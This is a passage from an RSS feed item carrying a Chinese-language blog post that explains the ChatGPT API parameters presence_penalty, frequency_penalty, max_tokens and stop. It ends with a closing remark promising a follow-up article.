src="https://wechat2rss.xlab.app/img-proxy/?k=cfd42c58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUxACg9fOzrKibRv87v7NfYNy0SxAKNwofZBmmB5lFeoZGn9cdX1ADJtQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(0, 0, 0);">presence_penalty</span></h2><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);font-size: 14px;">presence_penalty也是一个比较常见的参数，我们可以把这个参数认为是话题新鲜度，也可以认为是话题拓展的可能性。这个值越大，chatgpt在对话中也会越主动的发起新的分支。</span></p><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);font-size: 14px;">这个值默认是0，可以从-2到2之间。</span></p><p style="min-height: 24px;"><span style="font-size: 14px;">我自己尝试了一下感觉这个参数的表现其实比较弱，一般的问题回复其实是感受不到的。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(18, 18, 18);">frequency_penalty</span></h2><p style="min-height: 24px;"><span style="color: rgb(18, 18, 18);">frequency_penalty整体上和</span><span style="color: rgb(0, 0, 0);font-size: 14px;">presence_penalty类似，主要是控制总体使用频率较高的单词和短语概率，这个值越高，chatgpt中就会尽量减少重复。</span></p><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);font-size: 14px;">这个值默认是0，可以从-2到2之间。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>max_tokens</span></h2><p style="min-height: 24px;"><span style="font-size: 14px;">标志返回的token长度的硬截止限制，这个token之前也说过其实标志是的是单词或者短语，这个计算方式相当宽泛，所以一般设置max_tokens就是为了保底，避免某些特殊的问题导致超长的回复浪费api的资源。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>stop</span></h2><p style="min-height: 24px;"><span style="font-size: 14px;">一个特殊标记，可以在文本生成过程中暂停文本的生成。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>写在最后</span></h1><p style="min-height: 24px;"><span style="font-size: 14px;">掌握了ChatGPT简单问答式的用法，就相当于我们已经学会了用铲子铲土。</span></p><p style="min-height: 24px;"><span style="font-size: 14px;">而在ChatGPT基础上做进一步的探索相当有趣，下篇文章就讲讲怎么用铲子盖房子。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/04/26/chatgpt2/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2129bb67&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247483911%26idx%3D1%26sn%3Dba05b4bee0ee3b51e2e84e586dafe00c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Apr 2023 19:23:00 +0800</pubDate>
    </item>
  </channel>
</rss>